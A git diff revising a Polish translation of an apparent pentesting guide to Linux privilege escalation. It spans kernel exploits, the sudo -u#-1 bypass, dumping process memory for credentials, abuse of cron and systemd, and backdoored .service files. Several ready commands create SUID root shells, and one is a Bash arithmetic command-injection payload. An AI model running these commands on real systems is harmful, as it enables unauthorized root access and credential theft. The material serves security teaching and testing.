[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Aby wyodrębnić wszystkie podatne wersje jądra ze tej strony możesz zrobić: +Aby wyodrębnić wszystkie podatne wersje jądra z tej strony możesz zrobić: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to: +Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploitów to: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (uruchomić na ofierze, sprawdza tylko exploity dla jądra 2.x) -Zawsze **search the kernel version in Google**, być może twoja wersja kernela jest wymieniona w jakimś kernel exploit i wtedy będziesz mieć pewność, że exploit jest ważny. +Zawsze **wyszukaj wersję jądra w Google**, być może wersja twojego jądra jest wymieniona w jakimś kernel exploit i wtedy będziesz pewien, że exploit jest ważny. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo wersja +### Wersja Sudo -Na podstawie podatnych wersji sudo, które pojawiają się w: +Na podstawie podatnych wersji Sudo, które pojawiają się w: ```bash searchsploit sudo ``` -Możesz sprawdzić, czy wersja sudo jest podatna, korzystając z poniższego polecenia grep. +Możesz sprawdzić, czy wersja sudo jest podatna, używając tego polecenia grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: weryfikacja podpisu nie powiodła się +### Dmesg: weryfikacja sygnatury nie powiodła się -Sprawdź **smasher2 box of HTB** dla **przykładu**, jak tę vuln można wykorzystać +Sprawdź **smasher2 box of HTB** jako **przykład**, jak ta vuln mogła zostać wykorzystana ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Wymień możliwe mechanizmy obronne +## Wypisz możliwe zabezpieczenia ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Jeśli jesteś wewnątrz docker container, możesz spróbować wydostać się z niego: - +Jeśli znajdujesz się wewnątrz docker container możesz spróbować się z niego wydostać: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Dyski -Sprawdź **what is mounted and unmounted**, gdzie i dlaczego. Jeśli coś jest unmounted, możesz spróbować to mount i sprawdzić prywatne informacje +Sprawdź **co jest zamontowane i odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować je zamontować i sprawdzić, czy nie ma tam prywatnych informacji ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Przydatne oprogramowanie -Wypisz przydatne binaries +Wypisz przydatne binaria ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Sprawdź też, czy **zainstalowany jest jakiś compiler**. To przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). +Również sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne, jeśli potrzebujesz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go używać (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Zainstalowane podatne oprogramowanie -Sprawdź **wersję zainstalowanych pakietów i usług**. Być może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…\ +Sprawdź **wersję zainstalowanych pakietów i usług**. Być może jest jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do eskalacji uprawnień…\ Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Jeśli masz dostęp SSH do maszyny, możesz także użyć **openVAS**, aby sprawdzić, czy na niej zainstalowane jest przestarzałe lub podatne oprogramowanie. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Należy pamiętać, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy jakakolwiek z zainstalowanych wersji oprogramowania jest podatna na znane exploity_ +> [!NOTE] > _Zauważ, że te polecenia pokażą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy którąkolwiek z zainstalowanych wersji oprogramowania da się wykorzystać za pomocą znanych exploitów_ ## Procesy -Sprawdź, jakie **procesy** są uruchamiane i zobacz, czy któryś proces nie ma **więcej uprawnień, niż powinien** (np. tomcat uruchomiony przez root?) +Sprawdź, jakie **procesy** są uruchamiane i zweryfikuj, czy któryś proces nie posiada **więcej uprawnień niż powinien** (może tomcat uruchomiony przez roota?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je poprzez sprawdzanie parametru `--inspect` w linii poleceń procesu.\ -Również **sprawdź swoje uprawnienia wobec binarek procesów**, być może możesz nadpisać którąś. +Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Również **sprawdź swoje uprawnienia do binarek procesów**, może będziesz mógł nadpisać którąś z nich. ### Monitorowanie procesów -Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do identyfikowania podatnych procesów uruchamianych często lub gdy spełnione są pewne warunki. +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów uruchamianych często lub gdy spełniony jest zestaw wymagań. ### Pamięć procesu -Niektóre usługi serwera zapisują **credentials w postaci jawnego tekstu w pamięci**.\ -Zazwyczaj będziesz potrzebować **root privileges** żeby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle bardziej przydatne, gdy jesteś już root i chcesz odnaleźć więcej credentials.\ -Pamiętaj jednak, że **jako zwykły użytkownik możesz czytać pamięć procesów, które posiadasz**. +Niektóre usługi serwera zapisują **credentials in clear text inside the memory**.\ +Zazwyczaj będziesz potrzebować **root privileges**, aby odczytać pamięć procesów należących do innych użytkowników, dlatego zwykle jest to bardziej przydatne, gdy już masz uprawnienia roota i chcesz odkryć więcej credentials.\ +Jednak pamiętaj, że **jako zwykły użytkownik możesz czytać pamięć procesów, których jesteś właścicielem**. > [!WARNING] -> Zwróć uwagę, że obecnie większość maszyn **nie zezwala domyślnie na ptrace**, co oznacza, że nie możesz zrzucać pamięci procesów należących do innego użytkownika. +> Zauważ, że obecnie większość maszyn **nie zezwala na ptrace domyślnie**, co oznacza, że nie możesz zrzucać innych procesów należących do twojego nieuprzywilejowanego użytkownika. > > Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: > -> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptrace. -> - **kernel.yama.ptrace_scope = 1**: tylko proces macierzysty może być debugowany. -> - **kernel.yama.ptrace_scope = 2**: tylko admin może używać ptrace, ponieważ wymagana jest capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu tej wartości wymagany jest reboot, aby ponownie włączyć ptrace. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Jeśli masz dostęp do pamięci serwisu FTP (na przykład), możesz uzyskać Heap i przeszukać go w poszukiwaniu credentials. +Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać Heap i przeszukać go w poszukiwaniu credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Skrypt +#### Skrypt GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Dla danego identyfikatora procesu **maps pokazują, jak pamięć jest mapowana w jego** wirtualnej przestrzeni adresowej; pokazują też **uprawnienia każdego mapowanego regionu**. Pseudoplik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **regiony pamięci są odczytywalne** oraz ich offsety. Wykorzystujemy te informacje, aby **przejść do odpowiednich miejsc w pliku mem i zrzucić wszystkie odczytywalne regiony** do pliku. +Dla danego identyfikatora procesu **maps pokazują, jak pamięć jest mapowana w przestrzeni adresowej tego procesu**; pokazują też **uprawnienia każdego zmapowanego regionu**. Pseudoplik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **regiony pamięci są czytelne** i ich offsety. Wykorzystujemy te informacje, aby **przesunąć wskaźnik w pliku mem i zrzucić wszystkie czytelne regiony** do pliku. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` udostępnia dostęp do **pamięci fizycznej** systemu, a nie pamięci wirtualnej. Do wirtualnej przestrzeni adresowej jądra można uzyskać dostęp za pomocą /dev/kmem.\ +`/dev/mem` zapewnia dostęp do **pamięci fizycznej** systemu, a nie do pamięci wirtualnej. Do wirtualnej przestrzeni adresowej jądra można uzyskać dostęp za pomocą /dev/kmem.\ Zazwyczaj `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump to implementacja na Linux klasycznego narzędzia ProcDump z pakietu narzędzi Sysinternals dla Windows. Pobierz je z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump to wersja narzędzia ProcDump dla Linux, będąca reinterpretacją klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz ją z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,13 +266,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Narzędzia -Aby zrzucić pamięć procesu możesz użyć: +Aby zrzucić pamięć procesu, możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące root i zrzucić proces należący do ciebie -- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania roota i zrzucić proces należący do ciebie +- Script A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) -### Dane uwierzytelniające z pamięci procesu +### Poświadczenia z pamięci procesu #### Przykład ręczny @@ -282,16 +281,16 @@ Jeśli stwierdzisz, że proces authenticator jest uruchomiony: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Możesz dump the process (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na dump the memory of a process) i wyszukać credentials inside the memory: +Możesz dump the process (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby dump the memory of a process) i przeszukać memory w poszukiwaniu credentials: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać dane uwierzytelniające w postaci jawnego tekstu z pamięci** oraz z niektórych **dobrze znanych plików**. Wymaga uprawnień root, aby działać poprawnie. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **kraść poświadczenia w postaci czystego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień root, aby działać prawidłowo. -| Funkcja | Nazwa procesu | +| Funkcja | Nazwa procesu | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +299,7 @@ Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/ | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Regexy wyszukiwania/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Wyszukiwanie regexów/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,23 +313,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zadania zaplanowane/Cron +## Zaplanowane zadania/Cron jobs ### Crontab UI (alseambusher) running as root – web-based scheduler privesc -Jeśli webowy panel "Crontab UI" (alseambusher/crontab-ui) działa jako root i jest powiązany tylko z loopback, nadal możesz uzyskać do niego dostęp przez SSH local port-forwarding i utworzyć uprzywilejowane zadanie w celu eskalacji. +Jeśli panel webowy “Crontab UI” (alseambusher/crontab-ui) działa jako root i nasłuchuje tylko na loopback, nadal możesz się do niego dostać przez SSH local port-forwarding i utworzyć privileged job, aby eskalować uprawnienia. -Typowy łańcuch -- Odkryj port dostępny tylko z loopback (np., 127.0.0.1:8000) i Basic-Auth realm przez `ss -ntlp` / `curl -v localhost:8000` +Typowy przebieg +- Odkryj port dostępny tylko z loopback (np. 127.0.0.1:8000) i Basic-Auth realm za pomocą `ss -ntlp` / `curl -v localhost:8000` - Znajdź poświadczenia w artefaktach operacyjnych: - - Kopie zapasowe/skrypty z `zip -P ` - - jednostka systemd ujawniająca `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Tuneluj i zaloguj się: +- Kopie zapasowe/skrypty zawierające `zip -P ` +- jednostka systemd ujawniająca `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Utwórz tunel i zaloguj się: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Utwórz zadanie o wysokich uprawnieniach i uruchom je natychmiast (zrzuca SUID shell): +- Utwórz zadanie o wysokich uprawnieniach i uruchom je natychmiast (tworzy SUID shell): ```bash # Name: escalate # Command: @@ -340,41 +339,40 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ```bash /tmp/rootshell -p # root shell ``` -Wzmacnianie +Wzmacnianie bezpieczeństwa - Nie uruchamiaj Crontab UI jako root; ogranicz go do dedykowanego użytkownika i minimalnych uprawnień -- Nasłuchuj na localhost i dodatkowo ogranicz dostęp przez firewall/VPN; nie używaj ponownie haseł -- Unikaj umieszczania secrets w unit files; użyj secret stores lub root-only EnvironmentFile +- Nasłuchuj na localhost i dodatkowo ogranicz dostęp za pomocą firewall/VPN; nie używaj ponownie haseł +- Unikaj osadzania sekretów w unit files; używaj secret stores lub root-only EnvironmentFile - Włącz audit/logging dla wykonywania zadań na żądanie -Sprawdź, czy któreś zaplanowane zadanie jest podatne. Może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? można modyfikować pliki używane przez root? użyć symlinks? utworzyć konkretne pliki w katalogu używanym przez root?). +Sprawdź, czy którekolwiek zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? czy możesz modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, z którego korzysta root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Ścieżka Cron +### Cron path -Na przykład, wewnątrz _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na przykład, w pliku _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Zwróć uwagę, że użytkownik "user" ma uprawnienia zapisu w /home/user_) - -Jeśli wewnątrz tego crontab użytkownik root próbuje wykonać jakieś polecenie lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ +(_Zwróć uwagę, że użytkownik "user" ma prawa zapisu do /home/user_) +Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ Wtedy możesz uzyskać root shell używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron używający skryptu ze znakiem wieloznacznym (Wildcard Injection) +### Cron uruchamiający skrypt zawierający wildcard (Wildcard Injection) -Jeżeli skrypt uruchamiany przez root ma w poleceniu “**\***”, możesz to exploitować, aby spowodować nieoczekiwane zachowanie (np. privesc). Przykład: +Jeśli skrypt uruchamiany przez root ma “**\***” w poleceniu, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (np. privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeśli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeżeli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj następującą stronę, aby poznać więcej trików wykorzystania wildcard: +Przeczytaj następującą stronę, aby poznać więcej sztuczek związanych z exploitacją wildcard: {{#ref}} @@ -384,9 +382,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((...)), $((...)) i let. Jeśli root cron/parser odczytuje niezaufane pola logów i przekazuje je do arithmetic context, atakujący może wstrzyknąć command substitution $(...), które wykona się jako root, gdy cron zostanie uruchomiony. +Bash wykonuje parameter/variable expansion oraz command substitution przed oceną arytmetyczną w ((...)), $((...)) i let. Jeśli root cron/parser odczytuje pola logów kontrolowane przez nieufne źródło i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(...), który wykona się jako root, gdy cron zostanie uruchomiony. -- Dlaczego to działa: W Bash rozszerzenia zachodzą w następującej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, potem word splitting i pathname expansion. Dlatego wartość taka jak `$(/bin/bash -c 'id > /tmp/pwn')0` jest najpierw podmieniana (uruchamiając polecenie), a pozostała część numeryczna `0` jest użyta do obliczeń arytmetycznych, dzięki czemu skrypt kontynuuje bez błędów. +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - Typowy podatny wzorzec: ```bash @@ -398,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Eksploatacja: Spowoduj zapisanie attacker-controlled tekstu w analizowanym logu tak, aby pole wyglądające na liczbę zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje nic na stdout (lub przekieruj jego wyjście), aby obliczenie arytmetyczne pozostało ważne. +- Eksploatacja: Spraw, aby tekst kontrolowany przez atakującego został zapisany w parsowanym logu tak, by pole wyglądające na liczbę zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje nic na stdout (lub przekieruj jego wyjście), aby arytmetyka pozostała poprawna. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -407,62 +405,62 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Jeśli możesz **modyfikować cron script** uruchamiany przez root, możesz bardzo łatwo uzyskać shell: +Jeśli możesz **zmodyfikować cron script** uruchamiany przez root, możesz bardzo łatwo uzyskać shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Jeśli skrypt uruchamiany przez root używa **katalogu, do którego masz pełny dostęp**, może być użyteczne usunięcie tego folderu i **utworzenie katalogu-symlink wskazującego na inny**, zawierającego skrypt kontrolowany przez ciebie. +Jeśli script uruchamiany przez root używa **directory where you have full access**, może być przydatne usunąć ten folder i **create a symlink folder to another one**, który będzie serwował script kontrolowany przez Ciebie. ```bash ln -d -s ``` ### Częste cron jobs -Możesz monitorować procesy, aby wyszukać procesy wykonywane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges. +Możesz monitorować procesy, by znaleźć takie, które są wykonywane co 1, 2 lub 5 minut. Możesz to wykorzystać i eskalować uprawnienia. -Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według rzadziej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: +Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według najmniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wypisywać każdy proces, który się uruchamia). +**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (narzędzie to będzie monitorować i wypisywać wszystkie procesy, które się uruchamiają). ### Niewidoczne cron jobs -Można stworzyć cronjob **umieszczając znak powrotu karetki po komentarzu** (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak powrotu karetki): +Możliwe jest utworzenie cronjobu **umieszczając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a cron job nadal będzie działać. Przykład (zwróć uwagę na znak powrotu karetki): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Usługi -### Zapisywalne _.service_ pliki +### Pliki _.service_ z prawem zapisu -Sprawdź, czy możesz zapisać jakikolwiek plik `.service`, jeśli możesz, **możesz go zmodyfikować** tak, aby **uruchamiał** twój **backdoor gdy** usługa jest **uruchamiana**, **restartowana** lub **zatrzymywana** (może będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie).\ -Na przykład stwórz swój backdoor wewnątrz pliku .service z **`ExecStart=/tmp/script.sh`** +Sprawdź, czy możesz zapisać dowolny plik `.service`, jeśli tak, możesz go **zmodyfikować** tak, aby **uruchamiał** Twój **backdoor** gdy usługa jest **uruchomiona**, **zrestartowana** lub **zatrzymana** (może będziesz musiał poczekać aż maszyna się zrestartuje).\ +Na przykład utwórz swój backdoor wewnątrz pliku .service z **`ExecStart=/tmp/script.sh`** -### Pliki binarne usług z prawem zapisu +### Zapisywalne binaria usług -Pamiętaj, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmienić na backdoory, więc gdy usługi zostaną ponownie uruchomione, backdoory zostaną uruchomione. +Pamiętaj, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmodyfikować tak, aby zawierały backdoors, dzięki czemu po ponownym uruchomieniu usług backdoors zostaną wykonane. -### systemd PATH - Ścieżki względne +### systemd PATH - ścieżki względne Możesz zobaczyć PATH używany przez **systemd** za pomocą: ```bash systemctl show-environment ``` -Jeśli odkryjesz, że możesz **zapisywać** w którymkolwiek z katalogów na tej ścieżce, możesz być w stanie **escalate privileges**. Musisz wyszukać **używanie ścieżek względnych w plikach konfiguracji usług** takich jak: +Jeśli stwierdzisz, że możesz **write** w którymkolwiek z folderów na ścieżce, możesz być w stanie **escalate privileges**. Musisz szukać plików konfiguracji usług używających **relative paths being used on service configurations**, takich jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Następnie utwórz **plik wykonywalny** o **tej samej nazwie co relatywna ścieżka binarki** w folderze PATH systemd, do którego masz uprawnienia zapisu, a gdy serwis zostanie poproszony o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), Twój **backdoor zostanie uruchomiony** (użytkownicy bez uprawnień zwykle nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). +Następnie utwórz **wykonywalny plik** o **tej samej nazwie co relative path binary** w katalogu PATH systemd, do którego możesz zapisywać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie wykonany** (użytkownicy bez uprawnień zwykle nie mogą startować/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). **Dowiedz się więcej o usługach za pomocą `man systemd.service`.** ## **Timery** -**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, i które kontrolują pliki `**.service**` lub zdarzenia. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń czasowych kalendarza oraz zdarzeń monotonicznych i mogą być uruchamiane asynchronicznie. +**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowaną obsługę zdarzeń kalendarzowych i zdarzeń monotonicznych oraz mogą działać asynchronicznie. Możesz wyświetlić wszystkie timery za pomocą: ```bash @@ -470,54 +468,54 @@ systemctl list-timers --all ``` ### Zapisywalne timery -Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi istniejące jednostki systemd.unit (takie jak `.service` lub `.target`). +Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi on niektóre jednostki systemd.unit (takie jak `.service` lub `.target`) ```bash Unit=backdoor.service ``` W dokumentacji możesz przeczytać, czym jest Unit: -> Jednostka, która ma zostać aktywowana, gdy ten timer wygaśnie. Argument to nazwa jednostki, której sufiks nie jest ".timer". Jeśli nie zostanie określony, ta wartość domyślnie wskazuje na service o tej samej nazwie co jednostka timer, z wyjątkiem sufiksu. (Patrz wyżej.) Zaleca się, aby nazwa jednostki aktywowanej oraz nazwa jednostki timer były identyczne, z wyjątkiem sufiksu. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Dlatego, aby nadużyć tego uprawnienia, musisz: +W związku z tym, aby wykorzystać to uprawnienie musiałbyś: -- Znaleźć jakąś unit systemd (np. `.service`), która **uruchamia zapisywalny plik binarny** -- Znaleźć jakąś unit systemd, która **uruchamia względną ścieżkę** i masz **prawa zapisu** do **systemd PATH** (aby podszyć się pod ten plik wykonywalny) +- Znaleźć jakiś systemd unit (np. `.service`), który **uruchamia zapisywalny plik binarny** +- Znaleźć jakiś systemd unit, który **uruchamia względną ścieżkę** i nad którym masz **uprawnienia zapisu** do **systemd PATH** (aby podszyć się pod ten plik wykonywalny) **Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** -### **Włączanie timera** +### 